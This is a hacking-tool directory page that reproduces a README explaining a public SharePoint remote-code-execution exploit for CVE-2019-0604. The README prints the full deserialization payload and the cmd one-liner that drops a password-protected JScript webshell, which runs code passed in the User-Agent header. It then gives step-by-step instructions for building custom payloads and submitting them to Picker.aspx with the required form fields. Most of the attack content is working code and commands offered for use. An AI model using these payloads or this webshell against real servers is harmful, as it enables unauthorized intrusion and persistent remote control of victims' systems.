Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-0604 — 详解 k8gege的SharePoint RCE exploit cve-2019-0604-exp.py的代码,动手制作自己的payload | Kitploit
Tools/GitHubGitHub/boxhg/cve-2019-0604
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

详解 k8gege的SharePoint RCE exploit cve-2019-0604-exp.py的代码,动手制作自己的payload

View Repository
3065 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Image Pyaload Maker

1. Analysis of k8gege's cve-2019-0604-exp.py

k8gege's script https://github.com/k8gege/CVE-2019-0604

Honestly, k8gege's Python script is a bit fancy, with a large number of hexadecimal strings split into payload1, 2, 3. Devious.

The Python script sends a remote POST payload, which after deserialization is an XML data body.

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

That is, it remotely executes an echo command to write an up.aspx file to the SharePoint templates layouts directory.

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

This generates a K8 Flying Knife dedicated UA one-sentence webshell .asxp. OK, shell obtained.

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

2. Creating Your Own Payload

If you want to create your own payload to execute remote commands, follow these steps:

  1. Download the compiled program from https://github.com/boxhg/CVE-2019-0604/releases, extract and run CVE20190604Forms.exe.

  2. Enter a command in the Cmd text box, click the "Update XML" button, which will merge the command into XML.

  3. Click "EncodeEntity", the program will serialize the XML string into an object and trigger the payload execution. The serialized string will be displayed in the "payload" text box.

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. The "__cp...." strings are the payload. Copy them into cve-2019-0604-exp.py, modifying and replacing the original k8 payload.

  2. When submitting the payload to Picker.aspx, other parameters are required. You can obtain the relevant parameters via Burp proxy tool, then pass the payload value to ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData.

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. Run the Python script. Good luck!!!

It is recommended to use Burp to send the payload, which is more convenient.

CVE-2019-0604 Related:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Download Tool